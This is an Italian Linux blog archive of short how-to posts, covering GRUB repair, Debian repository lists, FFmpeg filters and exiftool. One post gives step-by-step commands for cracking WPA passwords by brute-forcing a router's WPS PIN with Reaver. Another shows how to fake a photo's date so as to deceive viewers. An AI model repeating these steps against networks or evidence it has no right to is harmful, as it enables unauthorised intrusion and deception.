Archivio per la Categoria “Utility”

 

Il metodo che ho sempre usato, ogni qual volta ho avuto la necessità di ripristinare il bootloader (Grub2), è stato quello del chroot. Ho preso questa abitudine dopo che mi sono accorto un bel po di tempo fa, che spesso ii metodi "normali" non sempre mi funzionavano. Invece questo metodo non ha mai fallito.

 

Requisiti:

Cd live, della stessa architettura del sistema da recuperare.

 

$ sudo fdisk -l
$ sudo mount /dev/sdXX /mnt
$ for i in /dev /dev/pts /proc /sys; do sudo mount -B $i /mnt$i; done
$ sudo chroot /mnt
# grub-install /dev/sdX
  CTRL-D
$ sudo reboot

 

enjpy ;)

Share on Twitter
Tag:, ,

Comments 4 Commenti »

 

 

 

 

Se capita di avere problemi col riavvio in Debian, ora sapete con chi prendervela :) . Ultimamente per una questione di tempo, ho installato Debian Squeeze da un Live CD, e di conseguenza mi sono ritrovato con il problema di non riuscire, una volta riavviato, a vedere gli altri O.S. nel menu di Grub. Tutto questo per opera di kexec-tools, questo pacchetto fornisce strumenti per caricare in memoria un kernel e poi "riavviare" direttamente in questo kernel tramite la chiamata di sistema
kexec, bypassando il normale processo di avvio.

 

# apt-get remove --purge kexec-tools

 

enjoy ;)

Share on Twitter
Tag:

Comments 1 Commento »

 

 

 

 

Sul mio Aspire One, dove è installata Debian Squeeze, ho deciso di disabilatare la password di accesso del mio utente, anche perchè lo uso poco e quasi sempre in casa. Disabilitando la password di accesso però, ad ogni avvio appare la richiesta di sblocco portachiavi, e questo è ancora più fastidioso.Io ho risolto la cosa in maniera "grezza", non so se esistono altri modi, e dato che ha funzionato, a me sta bene così :)

 

$ rm -f ~/.gnome2/keyrings/login.keyring
# nano /etc/pam.d/gdm3

 

ed inserire solo la riga rossa:

 

#%PAM-1.0
auth    requisite       pam_nologin.so
auth   required        pam_succeed_if.so user != root quiet_success
@include common-auth
auth       optional    pam_gnome_keyring.so
@include common-account
session required        pam_limits.so
session required        pam_env.so readenv=1
session required        pam_env.so readenv=1 envfile=/etc/default/locale
@include common-session
session optional        pam_gnome_keyring.so auto_start
@include common-pamkeyring
@include common-password

 

nel caso si volesse tornare ad avere la password, ricordarsi prima di eliminare "@include common-pamkeyring"

 

enjoy ;)

Share on Twitter
Tag:,

Comments 5 Commenti »

 

 

                                               La mia sheela

 

Ho già parlato in passato di exiftool, e di quanto sia importante cancellare i metadati che si nascondono in una foto, prima di distribuirla in giro. Comunque, per motivi che non sto qui a spiegare, io controllo sempre i dati nelle foto, poichè, questo mi fa capire, con l'aiuto di domande mirate successive, se chi le ha inviate dice il vero. Ma se io volessi deliberatamente mentire? far credere che quella foto sia stata scattata in una data diversa, e quindi ingannare un'occhio poco attento?….come fare??? Semplice, basta manipolare la data con exiftool. Come esempio porto la foto leggermente "purificata" della mia sheela, scattata nel 2007. I dati presenti sulla foto sono i seguenti:

 

ORIGINALE:

edmond@Debianbox:~/Desktop/test$ exiftool -a -u -g1 sheela.jpg
—- ExifTool —-
ExifTool Version Number         : 8.60
—- System —-
File Name                       : sheela.jpg
Directory                       : .
File Size                       : 189 kB
File Modification Date/Time     : 2007:09:30 15:23:51+02:00
File Permissions                : rw-r—–
—- File —-
File Type                       : JPEG
MIME Type                       : image/jpeg
Image Width                     : 500
Image Height                    : 375
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
—- JFIF —-
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
—- Composite —-
Image Size                      : 500×375

 

quindi per manipolare la data, facendo anche una copia dell'originale, il comando da usare è il seguente:

 

$ exiftool -DateTimeOriginal='2012:01:15 14:50:04' foto.jpg

 

FAKE:
 

edmond@Debianbox:~/Desktop/test$ exiftool -DateTimeOriginal='2012:01:15 14:50:04' sheela.jpg
    1 image files updated
edmond@Debianbox:~/Desktop/test$ exiftool -a -u -g1 sheela.jpg—- ExifTool —-
ExifTool Version Number         : 8.60
—- System —-
File Name                       : sheela.jpg
Directory                       : .
File Size                       : 190 kB
File Modification Date/Time     : 2012:01:15 14:50:37+01:00
File Permissions                : rw-r—–
—- File —-
File Type                       : JPEG
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Width                     : 500
Image Height                    : 375
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
—- JFIF —-
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
—- IFD0 —-
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
—- ExifIFD —-
Exif Version                    : 0230
Date/Time Original              : 2012:01:15 14:50:04
Components Configuration        : Y, Cb, Cr, -
Flashpix Version                : 0100
Color Space                     : Uncalibrated
—- Composite —-
Image Size                      : 500×375

 

 

per cancellare tutti i metadati:

 

 

$ exiftool -all= foto.jpg

 

 

enjoy ;)

Share on Twitter
Tag:,

Comments Nessun Commento »

 

 

 

Reaver WPS riesce con un attaco brute force a decifrare la password wpa/wpa2 della nostra rete, in determinate condizioni. Prima di tutto il WPS o Wi-Fi Protected Setup è diffuso nei router domestici, in genere lo si trova sotto la voce wifi-protezione. La vulnerabilità si nasconde prorpio in questo standard, in quanto, se si utilizza la modalità di inserimento pin al posto del push button, questa apre una falla. Praticamente bombardando il router di  pacchetti, questo restituisce molte informazioni utili al cracking. Comunque in rete si trovano spiegazioni più esaustive e dettagliate. Come prima cosa bisogna installare aircrack-ng, e compilarselo, dato che non è più presente nei repository ufficiali, oppure prelevarlo dal mio repository. Per avere quindi reaver su Debian:

 

$ sudo apt-get install libpcap0.8-dev libsqlite3-dev

$ wget http://reaver-wps.googlecode.com/files/reaver-1.3.tar.gz

$ tar -xvf reaver-1.3.tar.gz

$ cd reaver-1.3/src/

$ ./configure

$ make

$ sudo make install

 

mettere in monitor mode la scheda:

 

# airmon-ng start wlan0

 

il comando sopra creerà mon0 in monitor mode

 

Interface    Chipset        Driver

wlan0        Ralink 2561 PCI    rt61pci – [phy0]
                (monitor mode enabled on mon0
)

 

scanning per rilevare reti wpa:

 

# walsh -i mon0 --ignore-fcs

 

attacco:

 

# reaver -i mon0 -b 00:11:22:33:44:55 --dh-small

 

per altri comandi leggere la documentazione all'interno del pacchetto.

 

enjoy ;)

Share on Twitter
Tag:, , ,

Comments 8 Commenti »

 

Continuando con FFmpeg ed i suoi filtri, segnalo Frei0r, che da la possibilità di ottenere degli effetti interessanti. Nel caso specifico ho utilizzato gli effetti distorsione e prospettiva. Come al solito per poter utilizzare i filtri bisogna aver compilato FFmpeg con l'opzione –enable-filter=frei0r, oppure scaricare il pacchetto dal mio repository. Come video per l'esperimento ho usato una delle migliori interpretazioni di Salma Hayek nel film ideato ed interpretato da Quentin Tarantino "Dal Tamonto all' alba", credo che sia uno dei più sensuali table dance mai visto in un film. La performance è stata divisa in due video………consiglio la visione di tutti e due i "filtri" :)

 

Comandi:

 

$ ffmpeg -i input_video -vf "frei0r=distort0r:0.1:0.01" output_video

$ ffmpeg -i input_video -vf "frei0r=perspective:0.2/0.2:0.8/0.2" output_video

 

 

 

 

 

 

enjoy ;)

 

Share on Twitter
Tag:, ,

Comments 3 Commenti »

 

 

 

Repository per Debian Squeeze-Wheezy-Sid, ufficiali e di terze parti, aggiornati al 7/01/2012

 

Debian Squeeze (stable):

 

################  Repo Debian Squeeze Ufficiali ############

deb http://ftp.it.debian.org/debian/ squeeze main contrib non-free
deb-src http://ftp.it.debian.org/debian/ squeeze main contrib non-free

deb http://security.debian.org/ squeeze/updates main contrib non-free
deb http://ftp.it.debian.org/debian/ squeeze-proposed-updates main contrib non-free

###############  Repo Debian Backports ##########

deb http://backports.debian.org/debian-backports squeeze-backports main contrib non-free

##############  Squeeze-updates  ##############

deb http://ftp.debian.org/debian squeeze-updates main contrib non-free

###############  Repo Debian Squeeze terze parti ##########

#### Debian Multimedia
deb http://www.debian-multimedia.org/ squeeze main
deb-src http://www.debian-multimedia.org squeeze main

#### Iceweasel Debian Mozilla
deb http://backports.debian.org/debian-backports squeeze-backports main contrib non-free
deb http://mozilla.debian.net/ squeeze-backports iceweasel-release

#### Dotdeb – repository for Debian-based LAMP servers
deb http://packages.dotdeb.org oldstable all

#### Google Linux repository stable
deb http://dl.google.com/linux/deb/ stable non-free main

 #### Google Linux repository testing
deb http://dl.google.com/linux/deb/ testing non-free main

#### E17
deb http://packages.enlightenment.org/debian squeeze main extras

#### Esmska
deb http://repo.palatinus.cz/stable /

#### Skype
deb http://download.skype.com/linux/repos/debian/ stable non-free

#### Opera
deb http://deb.opera.com/opera/ squeeze non-free

#### Opera Beta
deb http://deb.opera.com/opera-beta/ squeeze non-free

#### VirtualBox
deb http://download.virtualbox.org/virtualbox/debian squeeze contrib

#### aMule-AdunanzA i386-amd64
deb http://deb.matteobonora.it/debian squeeze main

#### JDOWNLOADER

#### Download diretto edmond's repository (kernel,extensions,programmi vari)
#### http://www.edmondweblog.com/repo/ binary/

 

Debian Wheezy (testing):

 

################  Repo Debian Wheezy Ufficiali ############

deb http://ftp.it.debian.org/debian/ testing main contrib non-free
deb-src http://ftp.it.debian.org/debian/ testing main contrib non-free

deb http://security.debian.org/ testing/updates main contrib non-free
deb http://ftp.it.debian.org/debian/ wheezy-proposed-updates main contrib non-free

###############  Repo Debian Wheezy terze parti ##########

#### Debian Multimedia
deb http://www.debian-multimedia.org/ testing main non-free

#### Google Linux repository
deb http://dl.google.com/linux/deb/ stable non-free main

#### Google Linux repository testing
deb http://dl.google.com/linux/deb/ testing non-free

#### Esmska
deb http://repo.palatinus.cz/testing /  

#### Skype
deb http://download.skype.com/linux/repos/debian/ stable non-free

#### Opera
deb http://deb.opera.com/opera/ squeeze non-free

#### VirtualBox
deb http://download.virtualbox.org/virtualbox/debian squeeze contrib

#### aMule-AdunanzA i386-amd64
deb http://deb.matteobonora.it/debian wheezy main

#### Hadret’s Debian ppa
deb http://hadret.rootnode.net/debian/ unstable main

#### JDOWNLOADER

#### Download diretto edmond's repository (kernel,extensions,programmi vari)
#### http://www.edmondweblog.com/repo/ binary/

 

Debian Sid (unstable):

 

################  Repo Debian Sid Ufficiali ############

deb http://ftp.it.debian.org/debian/ sid main contrib non-free
deb-src http://ftp.it.debian.org/debian/ sid main contrib non-free

###############  Repo Debian Sid terze parti ##########

#### Debian Multimedia
deb http://www.debian-multimedia.org/ sid main
deb-src http://mi.mirror.garr.it/mirrors/debian-multimedia unstable main

#### Google Linux repository
deb http://dl.google.com/linux/deb/ stable non-free main

#### Google Linux repository testing
deb http://dl.google.com/linux/deb/ testing non-free

#### E17
deb http://packages.enlightenment.org/debian sid main extras
deb-src http://packages.enlightenment.org/debian sid main extras

#### Esmska
deb http://repo.palatinus.cz/unstable /

#### Skype
deb http://download.skype.com/linux/repos/debian/ stable non-free

#### Opera
deb http://deb.opera.com/opera/ sid non-free

#### VirtualBox
deb http://download.virtualbox.org/virtualbox/debian squeeze contrib

#### Repo frickeplatz per Wine e Gimp 2.7
deb http://frickelplatz.de/debian/ sid main contrib non-free

#### aMule-AdunanzA i386-amd64
deb http://deb.matteobonora.it/debian sid main

#### Hadret’s Debian ppa
deb http://hadret.rootnode.net/debian/ unstable main
deb-src http://hadret.rootnode.net/debian/ unstable main

#### Paissad repo per Ps3 media server
deb http://deb.paissad.net unstable main contrib non-free
deb-src http://deb.paissad.net unstable main contrib non-free

#### JDOWNLOADER

#### Download diretto edmond's repository (kernel,extensions,programmi vari)
#### http://www.edmondweblog.com/repo/ binary/

 

Debian Experimental:

 

### Experimental
deb http://ftp.it.debian.org/debian experimental main

#### Hadret’s Debian ppa
deb http://hadret.rootnode.net/debian/ experimental main
deb-src http://hadret.rootnode.net/debian/ experimental main

 

 

Importare chiavi GPG

 

Multimedia:

# apt-get update && apt-get install debian-multimedia-keyring && apt-get update

E17:

# wget -q http://packages.enlightenment.org/repo.key -O- | apt-key add -

Iceweasel Debian Mozilla:

$ wget http://mozilla.debian.net/pkg-mozilla-archive-keyring_1.0_all.deb
# dpkg -i pkg-mozilla-archive-keyring_1.0_all.deb

Esmka:

# wget -q -O - http://repo.palatinus.cz/repo.key | apt-key add -

Skype:

# gpg --keyserver pgp.mit.edu --recv-keys 0xd66b746e
# gpg --export --armor 0xd66b746e  | apt-key add -

VirtualBox:

# wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc -O- | apt-key add -

Repo frickeplatz per Wine e Gimp 2.7

# apt-get install frickelplatz-keyring

Opera:

 # wget -O - http://deb.opera.com/archive.key | apt-key add -

 $ wget -O - http://deb.opera.com/archive.key | sudo apt-key add -

Hadret’s Debian ppa:

# wget -O - http://hadret.rootnode.net/debian/duckbill.key | apt-key add -

Paissad repo per Ps3 media server:

# wget -q -O - http://deb.paissad.net/public-key.asc | apt-key add -

Dotdeb;

# wget -q -O - http://www.dotdeb.org/dotdeb.gpg | apt-key add -

Google Linux repository:

# wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -

aMule-AdunanzA i386-amd64:

$ gpg --keyserver hkp://subkeys.pgp.net --recv-key D45A244D

$ gpg -a --export D45A244D | apt-key add -

 

 

enjoy ;)

Share on Twitter
Tag:

Comments 10 Commenti »

 

 

 

 

Primo post del 2012, ed inizio col segnalare l'inserimento nel mio repository del  pacchetto deb di Jdownloader_0.2-debian_all.deb, per Debian Squeeze/Wheezy/Sid. Questo pacchetto una volta installato si occuperà di scaricare ed installare Jdownloader sulla nostra Debian box.

 

enjoy ;)

Share on Twitter
Tag:

Comments 4 Commenti »